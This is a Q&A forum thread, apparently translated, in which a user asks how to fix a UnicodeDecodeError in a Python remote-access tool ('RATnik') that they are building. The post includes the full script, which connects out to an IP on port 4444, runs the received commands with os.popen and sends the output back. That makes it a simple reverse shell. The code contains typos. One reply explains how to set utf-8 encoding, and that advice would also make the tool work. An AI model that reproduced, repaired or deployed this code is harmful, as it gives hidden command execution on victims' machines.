W
W
Wilde_Forox2022-04-09 16:40:27
Python
Wilde_Forox, 2022-04-09 16:40:27

How to fix "UnicodeDecodeError: 'ascii' codec can't decode 0x92 in position 1: ordinal not in range(128)" error?

The problem that occurs when running the code (occurs only on windows, everything is fine on Kali):

UnicodeDecodeError: 'ascii' codec can't decode 0x92 in position 1: ordinal not in range(128)

Code directly:

import socket
Import os
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("192.16...", 4444))
def execute_system_command(command):
output = os.popen(command).read()
return output
while True:
data = connection.recv(1024).decode()
output = execute_system_command(str(data))
if len(output) == 0:
connection.send(" ").encode())
else:
connection.send(output.encode())

connection.close

I'm trying to make a RATnik, that is, I send a command and it should send the result of the command, if I write dir, then an error pops up, as I understand it, because there is Cyrillic, and if I write whoami, then the result is sent and the error does not
pop up In decode inserted encoding 'utf-8'.

Answer the question

In order to leave comments, you need to log in

1 answer(s)
V
Vindicar, 2022-04-09
@Vindicar

Choose one encoding (if it doesn't matter what, then utf-8) for text exchange, and specify it explicitly when calling encode()/decode(). Otherwise, by default, only ASCII characters can be transmitted, and Cyrillic and other funny things - fig.

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question